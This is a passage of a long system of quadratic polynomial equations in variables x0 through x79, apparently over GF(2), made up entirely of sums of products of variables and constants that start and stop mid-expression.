x29*x65 + x29*x66 + x29*x67 + x29*x70 + x29*x73 + x29*x74 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x30*x31 + x30*x41 + x30*x44 + x30*x46 + x30*x49 + x30*x52 + x30*x53 + x30*x59 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x67 + x30*x68 + x30*x70 + x30*x73 + x30*x74 + x30*x77 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x39 + x31*x40 + x31*x42 + x31*x44 + x31*x47 + x31*x48 + x31*x49 + x31*x52 + x31*x54 + x31*x58 + x31*x59 + x31*x61 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x74 + x31*x77 + x31 + x32*x34 + x32*x36 + x32*x38 + x32*x39 + x32*x43 + x32*x44 + x32*x45 + x32*x49 + x32*x50 + x32*x54 + x32*x55 + x32*x58 + x32*x61 + x32*x62 + x32*x63 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x72 + x32*x73 + x32*x74 + x32*x75 + x32*x77 + x32*x78 + x32*x79 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x39 + x33*x40 + x33*x42 + x33*x44 + x33*x46 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x52 + x33*x53 + x33*x54 + x33*x56 + x33*x59 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x70 + x33*x72 + x33*x76 + x34*x35 + x34*x39 + x34*x41 + x34*x44 + x34*x45 + x34*x48 + x34*x49 + x34*x50 + x34*x53 + x34*x54 + x34*x61 + x34*x62 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x73 + x34*x75 + x34 + x35*x40 + x35*x42 + x35*x43 + x35*x46 + x35*x50 + x35*x51 + x35*x54 + x35*x58 + x35*x59 + x35*x60 + x35*x63 + x35*x64 + x35*x65 + x35*x67 + x35*x70 + x35*x71 + x35*x72 + x35*x74 + x35*x75 + x35*x78 + x35*x79 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x45 + x36*x49 + x36*x51 + x36*x52 + x36*x53 + x36*x54 + x36*x55 + x36*x56 + x36*x58 + x36*x61 + x36*x68 + x36*x69 + x36*x72 + x36*x73 + x36*x74 + x36*x76 + x36*x77 + x36*x79 + x36 + x37*x38 + x37*x40 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x49 + x37*x50 + x37*x52 + x37*x54 + x37*x56 + x37*x57 + x37*x58 + x37*x59 + x37*x61 + x37*x62 + x37*x63 + x37*x65 + x37*x68 + x37*x69 + x37*x71 + x37*x72 + x37*x76 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x43 + x38*x44 + x38*x47 + x38*x48 + x38*x49 + x38*x54 + x38*x55 + x38*x58 + x38*x59 + x38*x62 + x38*x63 + x38*x64 + x38*x72 + x38*x77 + x38*x78 + x38 + x39*x41 + x39*x42 + x39*x43 + x39*x46 + x39*x50 + x39*x51 + x39*x52 + x39*x54 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x73 + x39*x75 + x39*x78 + x39 + x40*x41 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x68 + x40*x69 + x40*x71 + x40*x73 + x40*x79 + x41*x43 + x41*x45 + x41*x52 + x41*x53 + x41*x55 + x41*x59 + x41*x61 + x41*x63 + x41*x66 + x41*x68 + x41*x69 + x41*x71 + x41*x72 + x41*x74 + x41*x76 + x41*x77 + x41 + x42*x44 + x42*x45 + x42*x47 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x57 + x42*x58 + x42*x60 + x42*x63 + x42*x65 + x42*x66 + x42*x69 + x42*x73 + x42*x74 + x42*x75 + x42*x77 + x42 + x43*x44 + x43*x49 + x43*x51 + x43*x56 + x43*x59 + x43*x66 + x43*x67 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x76 + x43*x77 + x43*x79 + x43 + x44*x45 + x44*x47 + x44*x49 + x44*x50 + x44*x52 + x44*x54 + x44*x56 + x44*x58 + x44*x60 + x44*x62 + x44*x63 + x44*x67 + x44*x68 + x44*x70 + x44*x72 + x44*x74 + x44*x76 + x44 + x45*x50 + x45*x52 + x45*x56 + x45*x60 + x45*x61 + x45*x62 + x45*x63 + x45*x64 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x78 + x45*x79 + x45 + x46*x47 + x46*x49 + x46*x50 + x46*x51 + x46*x58 + x46*x62 + x46*x63 + x46*x65 + x46*x66 + x46*x67 + x46*x69 + x46*x70 + x46*x72 + x46*x74 + x46*x75 + x46*x77 + x46*x79 + x46 + x47*x48 + x47*x51 + x47*x52 + x47*x53 + x47*x55 + x47*x56 + x47*x58 + x47*x60 + x47*x62 + x47*x63 + x47*x65 + x47*x66 + x47*x68 + x47*x69 + x47*x71 + x47*x72 + x47*x75 + x47*x78 + x47*x79 + x48*x51 + x48*x58 + x48*x59 + x48*x61 + x48*x62 + x48*x63 + x48*x64 + x48*x66 + x48*x68 + x48*x74 + x48*x75 + x48*x76 + x48*x78 + x48*x79 + x49*x50 + x49*x51 + x49*x53 + x49*x55 + x49*x56 + x49*x57 + x49*x61 + x49*x63 + x49*x65 + x49*x66 + x49*x69 + x49*x72 + x49*x77 + x49*x78 + x49*x79 + x50*x51 + x50*x52 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x59 + x50*x61 + x50*x63 + x50*x65 + x50*x69 + x50*x70 + x50*x71 + x50*x74 + x50*x76 + x50*x77 + x50 + x51*x55 + x51*x56 + x51*x59 + x51*x62 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x56 + x52*x58 + x52*x60 + x52*x61 + x52*x62 + x52*x66 + x52*x67 + x52*x68 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x77 + x52 + x53*x55 + x53*x56 + x53*x58 + x53*x61 + x53*x66 + x53*x68 + x53*x72 + x53*x73 + x53*x75 + x53*x76 + x53*x78 + x53 + x54*x55 + x54*x59 + x54*x60 + x54*x61 + x54*x64 + x54*x65 + x54*x66 + x54*x69 + x54*x70 + x54*x72 + x54*x73 + x54*x74 + x54*x75 + x54*x76 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x64 + x55*x66 + x55*x67 + x55*x69 + x55*x70 + x55*x75 + x55*x76 + x55 + x56*x58 + x56*x64 + x56*x66 + x56*x77 + x56*x79 + x57*x58 + x57*x59 + x57*x63 + x57*x64 + x57*x68 + x57*x69 + x57*x70 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x76 + x57*x77 + x57 + x58*x60 + x58*x61 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x69 + x58*x70 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x78 + x59*x61 + x59*x63 + x59*x67 + x59*x68 + x59*x69 + x59*x72 + x59*x74 + x59*x76 + x59*x79 + x59 + x60*x61 + x60*x68 + x60*x70 + x60*x72 + x60*x73 + x60*x75 + x60*x76 + x60*x77 + x60*x79 + x61*x62 + x61*x66 + x61*x68 + x61*x70 + x61*x74 + x61*x76 + x61*x78 + x61 + x62*x65 + x62*x66 + x62*x67 + x62*x68 + x62*x70 + x62*x71 + x62*x73 + x62*x75 + x62*x76 + x63*x66 + x63*x69 + x63*x70 + x63*x71 + x63*x73 + x63*x74 + x64*x65 + x64*x68 + x64*x69 + x64*x74 + x64*x76 + x64*x79 + x65*x66 + x65*x68 + x65*x70 + x65*x71 + x65*x74 + x65*x75 + x65*x76 + x65*x78 + x66*x69 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x78 + x66*x79 + x66 + x67*x69 + x67*x72 + x67*x75 + x67*x77 + x67 + x68*x69 + x68*x70 + x68*x72 + x68*x73 + x68*x74 + x68*x78 + x68*x79 + x69*x70 + x69*x71 + x69*x72 + x69*x73 + x69*x74 + x69*x79 + x69 + x70*x71 + x70*x73 + x70*x74 + x70*x76 + x70*x78 + x70*x79 + x70 + x71*x72 + x71*x73 + x71*x75 + x72*x73 + x72*x75 + x72*x76 + x72*x79 + x72 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x75*x76 + x75*x77 + x75*x79 + x75 + x76*x78 + x76*x79 + x77 + x78*x79 + x78 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x5 + x0*x7 + x0*x8 + x0*x10 + x0*x11 + x0*x13 + x0*x15 + x0*x19 + x0*x20 + x0*x21 + x0*x26 + x0*x27 + x0*x28 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x36 + x0*x38 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x47 + x0*x48 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x68 + x0*x70 + x0*x72 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x4 + x1*x7 + x1*x8 + x1*x9 + x1*x12 + x1*x13 + x1*x17 + x1*x19 + x1*x23 + x1*x24 + x1*x28 + x1*x30 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x37 + x1*x39 + x1*x41 + x1*x42 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x50 + x1*x51 + x1*x55 + x1*x59 + x1*x60 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x68 + x1*x69 + x1*x71 + x1*x77 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x9 + x2*x13 + x2*x14 + x2*x19 + x2*x20 + x2*x24 + x2*x26 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x34 + x2*x35 + x2*x36 + x2*x39 + x2*x40 + x2*x42 + x2*x44 + x2*x47 + x2*x48 + x2*x49 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x72 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x3*x6 + x3*x8 + x3*x9 + x3*x14 + x3*x16 + x3*x17 + x3*x19 + x3*x20 + x3*x22 + x3*x24 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x37 + x3*x38 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x51 + x3*x52 + x3*x53 + x3*x56 + x3*x57 + x3*x59 + x3*x61 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x72 + x3*x73 + x3*x75 + x3*x76 + x3*x78 + x3*x79 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x12 + x4*x13 + x4*x15 + x4*x16 + x4*x19 + x4*x20 + x4*x22 + x4*x23 + x4*x24 + x4*x25 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x45 + x4*x46 + x4*x47 + x4*x48 + x4*x53 + x4*x56 + x4*x58 + x4*x59 + x4*x61 + x4*x63 + x4*x65 + x4*x68 + x4*x71 + x4*x72 + x4*x74 + x4*x76 + x4*x78 + x4*x79 + x5*x6 + x5*x7 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x13 + x5*x14 + x5*x15 + x5*x16 + x5*x17 + x5*x19 + x5*x23 + x5*x25 + x5*x27 + x5*x28 + x5*x30 + x5*x35 + x5*x39 + x5*x41 + x5*x43 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x61 + x5*x62 + x5*x64 + x5*x66 + x5*x69 + x5*x71 + x5*x75 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x18 + x6*x20 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x33 + x6*x34 + x6*x35 + x6*x41 + x6*x44 + x6*x45 + x6*x46 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x57 + x6*x59 + x6*x60 + x6*x62 + x6*x65 + x6*x66 + x6*x69 + x6*x75 + x6*x76 + x6*x77 + x6*x79 + x6 + x7*x8 + x7*x12 + x7*x13 + x7*x16 + x7*x17 + x7*x19 + x7*x23 + x7*x25 + x7*x29 + x7*x34 + x7*x35 + x7*x36 + x7*x40 + x7*x43 + x7*x44 + x7*x45 + x7*x46 + x7*x47 + x7*x49 + x7*x53 + x7*x55 + x7*x56 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x65 + x7*x69 + x7*x71 + x7*x72 + x7*x74 + x7*x76 + x7*x77 + x7*x78 + x7 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x17 + x8*x18 + x8*x20 + x8*x21 + x8*x23 + x8*x25 + x8*x26 + x8*x29 + x8*x30 + x8*x32 + x8*x34 + x8*x35 + x8*x37 + x8*x38 + x8*x40 + x8*x41 + x8*x42 + x8*x45 + x8*x47 + x8*x48 + x8*x50 + x8*x51 + x8*x53 + x8*x54 + x8*x57 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x70 + x8*x73 + x8*x74 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x25 + x9*x29 + x9*x30 + x9*x31 + x9*x34 + x9*x36 + x9*x42 + x9*x43 + x9*x44 + x9*x47 + x9*x48 + x9*x52 + x9*x55 + x9*x56 + x9*x58 + x9*x59 + x9*x60 + x9*x64 + x9*x65 + x9*x68 + x9*x71 + x9*x73 + x9*x75 + x9*x77 + x9*x79 + x9 + x10*x11 + x10*x13 + x10*x14 + x10*x17 + x10*x19 + x10*x21 + x10*x25 + x10*x30 + x10*x32 + x10*x34 + x10*x36 + x10*x38 + x10*x39 + x10*x41 + x10*x45 + x10*x46 + x10*x47 + x10*x48 + x10*x49 + x10*x51 + x10*x52 + x10*x56 + x10*x59 + x10*x60 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x68 + x10*x72 + x10*x75 + x10*x79 + x10 + x11*x12 + x11*x17 + x11*x18 + x11*x21 + x11*x22 + x11*x24 + x11*x28 + x11*x31 + x11*x34 + x11*x37 + x11*x40 + x11*x43 + x11*x45 + x11*x46 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x53 + x11*x54 + x11*x60 + x11*x61 + x11*x62 + x11*x63 + x11*x65 + x11*x66 + x11*x68 + x11*x72 + x11*x74 + x11*x75 + x11*x78 + x11 + x12*x14 + x12*x15 + x12*x17 + x12*x18 + x12*x20 + x12*x22 + x12*x25 + x12*x30 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x43 + x12*x44 + x12*x45 + x12*x50 + x12*x51 + x12*x56 + x12*x58 + x12*x61 + x12*x62 + x12*x64 + x12*x66 + x12*x67 + x12*x70 + x12*x72 + x12*x74 + x12*x78 + x12 + x13*x18 + x13*x19 + x13*x22 + x13*x23 + x13*x25 + x13*x26 + x13*x28 + x13*x29 + x13*x30 + x13*x32 + x13*x33 + x13*x37 + x13*x38 + x13*x41 + x13*x47 + x13*x54 + x13*x57 + x13*x58 + x13*x59 + x13*x60 + x13*x62 + x13*x63 + x13*x66 + x13*x67 + x13*x68 + x13*x70 + x13*x71 + x13*x72 + x13*x77 + x13*x78 + x13*x79 + x13 + x14*x17 + x14*x19 + x14*x21 + x14*x22 + x14*x23 + x14*x26 + x14*x27 + x14*x28 + x14*x30 + x14*x34 + x14*x36 + x14*x37 + x14*x38 + x14*x41 + x14*x42 + x14*x45 + x14*x50 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x59 + x14*x60 + x14*x62 + x14*x63 + x14*x64 + x14*x66 + x14*x70 + x14*x71 + x14*x76 + x14*x78 + x14*x79 + x14 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x29 + x15*x31 + x15*x34 + x15*x36 + x15*x41 + x15*x42 + x15*x44 + x15*x45 + x15*x48 + x15*x49 + x15*x50 + x15*x52 + x15*x53 + x15*x55 + x15*x57 + x15*x59 + x15*x62 + x15*x65 + x15*x66 + x15*x68 + x15*x70 + x15*x71 + x15*x72 + x15*x74 + x15*x77 + x15*x78 + x15*x79 + x16*x17 + x16*x21 + x16*x22 + x16*x26 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x35 + x16*x37 + x16*x38 + x16*x39 + x16*x41 + x16*x43 + x16*x44 + x16*x48 + x16*x52 + x16*x53 + x16*x56 + x16*x57 + x16*x58 + x16*x61 + x16*x62 + x16*x63 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x70 + x16*x71 + x16*x73 + x16*x76 + x17*x19 + x17*x20 + x17*x21 + x17*x23 + x17*x25 + x17*x28 + x17*x32 + x17*x35 + x17*x36 + x17*x37 + x17*x38 + x17*x41 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x50 + x17*x52 + x17*x53 + x17*x55 + x17*x56 + x17*x59 + x17*x60 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x71 + x17*x73 + x17*x74 + x17*x77 + x17*x78 + x17*x79 + x18*x21 + x18*x24 + x18*x26 + x18*x27 + x18*x28 + x18*x29 + x18*x33 + x18*x34 + x18*x35 + x18*x37 + x18*x38 + x18*x43 + x18*x45 + x18*x48 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x63 + x18*x64 + x18*x69 + x18*x71 + x18*x74 + x18*x77 + x18*x78 + x19*x22 + x19*x23 + x19*x33 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x45 + x19*x46 + x19*x47 + x19*x50 + x19*x51 + x19*x52 + x19*x59 + x19*x65 + x19*x66 + x19*x68 + x19*x69 + x19*x71 + x19*x73 + x19*x74 + x19*x78 + x19*x79 + x20*x24 + x20*x26 + x20*x27 + x20*x29 + x20*x32 + x20*x35 + x20*x36 + x20*x37 + x20*x38 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x44 + x20*x45 + x20*x47 + x20*x48 + x20*x50 + x20*x53 + x20*x55 + x20*x56 + x20*x58 + x20*x60 + x20*x62 + x20*x64 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x70 + x20*x71 + x20*x72 + x20*x73 + x20*x74 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x20 + x21*x23 + x21*x24 + x21*x26 + x21*x28 + x21*x29 + x21*x30 + x21*x34 + x21*x35 + x21*x37 + x21*x39 + x21*x41 + x21*x42 + x21*x45 + x21*x46 + x21*x48 + x21*x49 + x21*x53 + x21*x55 + x21*x56 + x21*x57 + x21*x59 + x21*x61 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x72 + x21*x75 + x21*x78 + x22*x24 + x22*x25 + x22*x26 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x35 + x22*x36 + x22*x38 + x22*x39 + x22*x40 + x22*x43 + x22*x47 + x22*x49 + x22*x50 + x22*x51 + x22*x54 + x22*x56 + x22*x57 + x22*x59 + x22*x62 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x69 + x22*x70 + x22*x71 + x22*x72 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x23*x25 + x23*x26 + x23*x28 + x23*x29 + x23*x38 + x23*x46 + x23*x48 + x23*x53 + x23*x55 + x23*x57 + x23*x58 + x23*x61 + x23*x63 + x23*x64 + x23*x65 + x23*x67 + x23*x69 + x23*x72 + x23*x73 + x23*x74 + x23*x76 + x23*x77 + x23*x79 + x23 + x24*x30 + x24*x31 + x24*x32 + x24*x33 + x24*x37 + x24*x41 + x24*x42 + x24*x43 + x24*x46 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x56 + x24*x57 + x24*x63 + x24*x64 + x24*x67 + x24*x73 + x24*x74 + x24*x78 + x24*x79 + x25*x29 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x36 + x25*x37 + x25*x41 + x25*x42 + x25*x44 + x25*x46 + x25*x48 + x25*x49 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x54 + x25*x56 + x25*x57 + x25*x67 + x25*x68 + x25*x71 + x25*x74 + x25*x77 + x25*x79 + x26*x27 + x26*x29 + x26*x30 + x26*x31 + x26*x33 + x26*x34 + x26*x35 + x26*x37 + x26*x38 + x26*x39 + x26*x40 + x26*x41 + x26*x46 + x26*x49 + x26*x50 + x26*x51 + x26*x53 + x26*x54 + x26*x58 + x26*x59 + x26*x60 + x26*x61 + x26*x63 + x26*x65 + x26*x68 + x26*x69 + x26*x71 + x26*x75 + x26*x77 + x26*x79 + x26 + x27*x29 + x27*x30 + x27*x31 + x27*x32 + x27*x33 + x27*x35 + x27*x37 + x27*x38 + x27*x47 + x27*x49 + x27*x50 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x57 + x27*x58 + x27*x59 + x27*x62 + x27*x64 + x27*x65 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x76 + x27 + x28*x29 + x28*x30 + x28*x33 + x28*x34 + x28*x37 + x28*x38 + x28*x39 + x28*x42 + x28*x47 + x28*x50 + x28*x51 + x28*x54 + x28*x55 + x28*x58 + x28*x59 + x28*x60 + x28*x61 + x28*x63 + x28*x64 + x28*x65 + x28*x66 + x28*x70 + x28*x75 + x28*x77 + x28*x78 + x29*x31 + x29*x32 + x29*x33 + x29*x35 + x29*x37 + x29*x40 + x29*x42 + x29*x43 + x29*x44 + x29*x46 + x29*x53 + x29*x55 + x29*x56 + x29*x60 + x29*x61 + x29*x63 + x29*x66 + x29*x68 + x29*x72 + x29*x74 + x29*x78 + x29 + x30*x32 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x41 + x30*x43 + x30*x44 + x30*x46 + x30*x47 + x30*x48 + x30*x49 + x30*x55 + x30*x57 + x30*x58 + x30*x64 + x30*x65 + x30*x66 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x37 + x31*x38 + x31*x43 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x51 + x31*x53 + x31*x56 + x31*x59 + x31*x60 + x31*x62 + x31*x63 + x31*x66 + x31*x69 + x31*x71 + x31*x74 + x31*x75 + x31*x76 + x31*x79 + x31 + x32*x34 + x32*x35 + x32*x38 + x32*x39 + x32*x41 + x32*x43 + x32*x46 + x32*x47 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x60 + x32*x62 + x32*x63 + x32*x66 + x32*x69 + x32*x74 + x32*x78 + x32 + x33*x37 + x33*x46 + x33*x47 + x33*x49 + x33*x53 + x33*x55 + x33*x56 + x33*x59 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x69 + x33*x74 + x33*x76 + x33*x78 + x33*x79 + x34*x35 + x34*x37 + x34*x40 + x34*x42 + x34*x53 + x34*x55 + x34*x58 + x34*x59 + x34*x60 + x34*x64 + x34*x68 + x34*x69 + x34*x70 + x34*x72 + x34*x74 + x34*x78 + x34*x79 + x34 + x35*x36 + x35*x38 + x35*x39 + x35*x40 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x50 + x35*x51 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x62 + x35*x66 + x35*x70 + x35*x71 + x35*x72 + x35*x74 + x35*x75 + x35*x77 + x35*x78 + x36*x38 + x36*x39 + x36*x44 + x36*x45 + x36*x48 + x36*x50 + x36*x51 + x36*x53 + x36*x54 + x36*x61 + x36*x63 + x36*x66 + x36*x69 + x36*x73 + x36*x75 + x36*x76 + x36 + x37*x39 + x37*x40 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x53 + x37*x56 + x37*x58 + x37*x59 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x71 + x37*x72 + x37*x73 + x37*x75 + x37*x77 + x37*x78 + x38*x39 + x38*x40 + x38*x43 + x38*x45 + x38*x46 + x38*x47 + x38*x52 + x38*x54 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x62 + x38*x63 + x38*x64 + x38*x65 + x38*x67 + x38*x69 + x38*x70 + x38*x72 + x38*x74 + x38*x78 + x39*x45 + x39*x46 + x39*x47 + x39*x50 + x39*x53 + x39*x54 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x60 + x39*x64 + x39*x65 + x39*x66 + x39*x70 + x39*x73 + x39*x74 + x39*x75 + x39*x77 + x39*x78 + x39*x79 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x48 + x40*x50 + x40*x51 + x40*x55 + x40*x58 + x40*x59 + x40*x60 + x40*x61 + x40*x62 + x40*x64 + x40*x65 + x40*x69 + x40*x70 + x40*x71 + x40*x72 + x40*x74 + x40*x76 + x40*x77 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x52 + x41*x56 + x41*x57 + x41*x58 + x41*x61 + x41*x62 + x41*x68 + x41*x70 + x41*x74 + x41*x75 + x41 + x42*x46 + x42*x47 + x42*x49 + x42*x50 + x42*x53 + x42*x54 + x42*x57 + x42*x58 + x42*x60 + x42*x62 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x76 + x42*x79 + x43*x46 + x43*x47 + x43*x51 + x43*x52 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x61 + x43*x62 + x43*x63 + x43*x66 + x43*x67 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x76 + x43 + x44*x45 + x44*x46 + x44*x50 + x44*x53 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x59 + x44*x60 + x44*x62 + x44*x63 + x44*x66 + x44*x68 + x44*x69 + x44*x74 + x44*x76 + x44*x79 + x44 + x45*x50 + x45*x54 + x45*x56 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x61 + x45*x64 + x45*x68 + x45*x69 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x46*x48 + x46*x54 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x61 + x46*x63 + x46*x65 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x73 + x46*x76 + x46*x77 + x47*x52 + x47*x55 + x47*x56 + x47*x58 + x47*x60 + x47*x62 + x47*x63 + x47*x64 + x47*x69 + x47*x70 + x47*x72 + x47*x73 + x47*x75 + x47*x78 + x48*x49 + x48*x50 + x48*x52 + x48*x54 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x62 + x48*x64 + x48*x65 + x48*x69 + x48*x70 + x48*x73 + x48*x74 + x48*x78 + x49*x52 + x49*x54 + x49*x55 + x49*x56 + x49*x58 + x49*x59 + x49*x60 + x49*x61 + x49*x63 + x49*x64 + x49*x65 + x49*x67 + x49*x68 + x49*x69 + x49*x71 + x49*x72 + x49*x73 + x49*x78 + x50*x51 + x50*x53 + x50*x58 + x50*x60 + x50*x61 + x50*x63 + x50*x65 + x50*x66 + x50*x68 + x50*x69 + x50*x70 + x50*x76 + x50*x79 + x51*x52 + x51*x55 + x51*x57 + x51*x60 + x51*x62 + x51*x63 + x51*x67 + x51*x68 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x59 + x52*x60 + x52*x61 + x52*x62 + x52*x65 + x52*x66 + x52*x68 + x52*x70 + x52*x77 + x52 + x53*x55 + x53*x56 + x53*x57 + x53*x59 + x53*x60 + x53*x63 + x53*x64 + x53*x70 + x53*x72 + x53*x74 + x53*x77 + x53*x78 + x53*x79 + x54*x58 + x54*x59 + x54*x60 + x54*x61 + x54*x65 + x54*x66 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x61 + x55*x63 + x55*x66 + x55*x67 + x55*x70 + x55*x72 + x55*x75 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x59 + x56*x60 + x56*x62 + x56*x63 + x56*x65 + x56*x68 + x56*x69 + x56*x70 + x56*x73 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x57*x58 + x57*x61 + x57*x67 + x57*x69 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x76 + x57*x77 + x58*x60 + x58*x62 + x58*x63 + x58*x65 + x58*x66 + x58*x68 + x58*x69 + x58*x71 + x58*x74 + x58*x79 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x66 + x59*x68 + x59*x69 + x59*x76 + 